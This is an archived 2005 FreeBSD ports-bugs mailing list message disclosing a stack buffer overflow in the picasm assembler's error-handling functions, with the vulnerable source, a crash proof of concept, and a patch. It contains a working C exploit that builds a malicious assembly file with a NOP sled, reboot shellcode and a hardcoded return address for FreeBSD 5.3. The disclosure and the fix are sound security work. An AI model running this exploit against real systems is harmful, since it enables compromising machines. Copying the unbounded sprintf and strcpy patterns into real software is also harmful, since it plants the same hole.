Skip site navigation (1)Skip section navigation (2)
Date:      Sat, 7 May 2005 18:21:20 +0100
From:      Shaun Colley <scolleyuk@gmail.com>
To:        freebsd-ports-bugs@freebsd.org, trossi@iki.fi
Subject:   picasm buffer overflow bug
Message-ID:  <c522a35a05050710216f47ecad@mail.gmail.com>

next in thread | raw e-mail | index | archive | help
Hey list.

I've found a serious buffer overflow bug in the picasm port.  The
consequence is such that if picasm attempts to assemble a malicious
assembly file, arbitrary code could be executed.  Thus, if an attacker
could persuade user John to assemble mal.asm, the buffer overflow bug
could be exploited to gain control of the system (assuming the
persuaded user was root).

The errors exist in the error handling functions; err_line_ref(),
warning(), error() and fatal_error().  These functions fail to perform
bounds checking before preparing error messages, and so on.

---
 err_line_ref(void)
{
    struct inc_file *inc;
    char outbuf[128];

...

=09    sprintf(outbuf, "(Macro %-.99s line %d)",
=09=09    inc->v.m.sym->name, inc->linenum);
=09    err_out(outbuf);
=09     ...

=09sprintf(outbuf, "%-.99s:%d:",

...

void
warning(char *fmt, ...)
{
    char outbuf[128];
    va_list args;

    err_line_ref();
    strcpy(outbuf, "Warning: ");
    va_start(args, fmt);
    vsprintf(outbuf+9, fmt, args);

...


void
error(int lskip, char *fmt, ...)
{
    va_list args;
    char outbuf[128];

    err_line_ref();
    strcpy(outbuf, "Error: ");
    va_start(args, fmt);
    vsprintf(outbuf+7, fmt, args);
=20
...

void
fatal_error(char *fmt, ...)
{
    va_list args;
    char outbuf[128];

    err_line_ref();
    strcpy(outbuf, "Fatal error: ");
    va_start(args, fmt);
    vsprintf(outbuf+13, fmt, args);

     ...
}
---

As far as I can tell, there are several attack vectors, but an easy
way is to cause a long error message to be outputted.  This will cause
error() to be called, and an overflow can occur with those vsprintf
calls, if the bounds of outbuf are exceeded.

Reading the documentation, I noticed:=20

error <error_message>  =09Causes an assembly error.

Thus, if the assembly file contains 'error <long_string>', a long
error message will be passed to error(), and a stack overflow could
occur.

Proof-of-concept enough is:=20

bash$ echo `perl -e 'print "error " . "a"x2000'` > test.asm ; picasm test.a=
sm

A segmentation fault should occur.  By examining the resultant core
file, the overflow should the self-evident.

I have produced a working exploit for this issue, tested on FreeBSD 5.3-REL=
EASE.

---
#include <stdio.h>
#include <stdlib.h>

 /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =3D
  "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";

int main(int argc, char *argv[]) {

  if(argc < 2) {
    printf("syntax: %s <outfile>\n", argv[0]);
    return 1;
  }

    char buf[144];

 /* FreeBSD 5.3-RELEASE */
 char ret[] =3D "\x78\xea\xbf\xbf";

 char *ptr;
 FILE *fp;
 ptr =3D buf;

 /* Craft payload */
 memset(ptr, 0, sizeof(buf));
 memset(ptr, 0x90, 118); /* 118 NOP bytes */
 memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
 memcpy(ptr+133, ret, 4); /* 4 byte ret address */

 /* Open outfile */
 if((fp =3D fopen(argv[1], "w")) =3D=3D NULL) {
   printf("unable to open %s\n", argv[1]);
   exit(1);
 }

 /* Write it all to outfile */
 fwrite("error ", 1, 6, fp);
 fprintf(fp, "%s", buf);

 fclose(fp);
 return 0;
}
---

The exploit above crafts a 'malicious' assembly file to 'outfile'
specified in argv[1].  This works on my FreeBSD 5.3-RELEASE system.=20
Upon invoking picasm on the resultant 'assembly' file (as root), the
return address of picasm's latest frame (probably error()s) is
overwritten, and the shellcode is jumped to - this reboots the system.

An 'assembly' file coming from a remote user could exploit this
overflow and compromise the system's security.

The warning() and other error handling functions seem to have possible
stack overflows in them too, but I haven't bothered testing anything.

I've written a patch for picasm, which patches a few other strncpy and
*sprintf calls which could possibly also result in bugs.  There is
also the possibility of an overflow due to long arguments at the
command line; this doesn't present much of a security bug, but I've
patched that anyway.

---=20
--- picasm.orig.c       Sun Jun  3 14:15:42 2001
+++ picasm.c    Sat May  7 16:49:47 2005
@@ -96,13 +96,13 @@
        inc =3D current_file;
        if(inc->type !=3D INC_FILE)
        {
-           sprintf(outbuf, "(Macro %-.99s line %d)",
+           snprintf(outbuf, sizeof(outbuf), "(Macro %-.99s line %d)",
                    inc->v.m.sym->name, inc->linenum);
            err_out(outbuf);
            while(inc !=3D NULL && inc->type !=3D INC_FILE)
                inc =3D inc->next;
        }
-       sprintf(outbuf, "%-.99s:%d:",
+       snprintf(outbuf, sizeof(outbuf), "%-.99s:%d:",
                inc->v.f.fname, inc->linenum);
        err_out(outbuf);
        len =3D strlen(line_buffer);
@@ -126,7 +126,7 @@
     err_line_ref();
     strcpy(outbuf, "Warning: ");
     va_start(args, fmt);
-    vsprintf(outbuf+9, fmt, args);
+    vsnprintf(outbuf+9, sizeof(outbuf)-9, fmt, args);
     va_end(args);
     err_out(outbuf);
     if(list_fp !=3D NULL)
@@ -159,7 +159,7 @@
     err_line_ref();
     strcpy(outbuf, "Error: ");
     va_start(args, fmt);
-    vsprintf(outbuf+7, fmt, args);
+    vsnprintf(outbuf+7, sizeof(outbuf)-7, fmt, args);
     va_end(args);
     err_out(outbuf);
     if(list_fp !=3D NULL)
@@ -186,7 +186,7 @@
     err_line_ref();
     strcpy(outbuf, "Fatal error: ");
     va_start(args, fmt);
-    vsprintf(outbuf+13, fmt, args);
+    vsnprintf(outbuf+13, sizeof(outbuf)-13, fmt, args);
     va_end(args);
     err_out(outbuf);
     exit(EXIT_FAILURE); /* XXX possibly use longjmp() */
@@ -994,7 +994,7 @@

     if(pic_type !=3D NULL)
     {
-       sprintf(symname, "__%s", pic_type->name);
+       snprintf(symname, sizeof(symname), "__%s", pic_type->name);
        sym =3D add_symbol(symname, SYMTAB_GLOBAL);
        sym->type =3D SYM_DEFINED;
        sym->type2 =3D SYMT_CONSTANT;
@@ -1020,7 +1020,7 @@

            t =3D (line_buf_off =3D=3D 0);

-           strcpy(symname, token_string);
+           strncpy(symname, token_string, sizeof(symname)-1);
            sym =3D lookup_symbol(symname, symtype);
            if(sym !=3D NULL && sym->type =3D=3D SYM_MACRO)
            {
@@ -1208,7 +1208,7 @@
                continue;
            }

-           strcpy(symname, token_string);
+           strncpy(symname, token_string, sizeof(symname)-1);
            get_token();
            if(token_type !=3D TOK_NEWLINE && token_type !=3D TOK_EOF)
                error(0, "Extraneous characters after a valid source line")=
;
@@ -1616,7 +1616,7 @@
            prog_mem_size =3D pic_type->progmem_size;
            reg_file_limit =3D pic_type->regfile_limit;

-           sprintf(symname, "__%s", pic_type->name);
+           snprintf(symname, sizeof(symname), "__%s", pic_type->name);
            sym =3D add_symbol(symname, SYMTAB_GLOBAL);
            sym->type =3D SYM_DEFINED;
            sym->type2 =3D SYMT_CONSTANT;
@@ -1783,7 +1783,7 @@
        case 'o': /* output file name */
            if(argv[1][2] !=3D '\0')
            {
-               strcpy(out_filename, &argv[1][2]);
+               strncpy(out_filename, &argv[1][2], sizeof(out_filename)-1);
            }
            else
            {
@@ -1792,7 +1792,7 @@
                    fputs("-o option requires a file name\n", stderr);
                    exit(EXIT_FAILURE);
                }
-               strcpy(out_filename, argv[2]);
+               strncpy(out_filename, argv[2], sizeof(out_filename)-1);
                argc--;
                argv++;
            }
@@ -1901,7 +1901,7 @@
        case 'l': /* listing/list filename */
            listing =3D 1;
            if(argv[1][2] !=3D '\0')
-               strcpy(list_filename, &argv[1][2]);
+               strncpy(list_filename, &argv[1][2], sizeof(list_filename)-1=
);
            break;

        case 's':
@@ -1948,7 +1948,7 @@

     if(out_filename[0] =3D=3D '\0')
     {
-       strcpy(out_filename, in_filename);
+       strncpy(out_filename, in_filename, sizeof(out_filename)-1);
        if((p =3D strrchr(out_filename, '.')) !=3D NULL)
            *p =3D '\0';
     }
@@ -1960,7 +1960,7 @@
     {
        if(list_filename[0] =3D=3D '\0')
        {
-           strcpy(list_filename, in_filename);
+           strncpy(list_filename, in_filename, sizeof(list_filename)-1);
            if((p =3D strrchr(list_filename, '.')) !=3D NULL)
                *p =3D '\0';
            strcat(list_filename, ".lst");
---

This fixes the problem...


Thanks,
Shaun.



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?c522a35a05050710216f47ecad>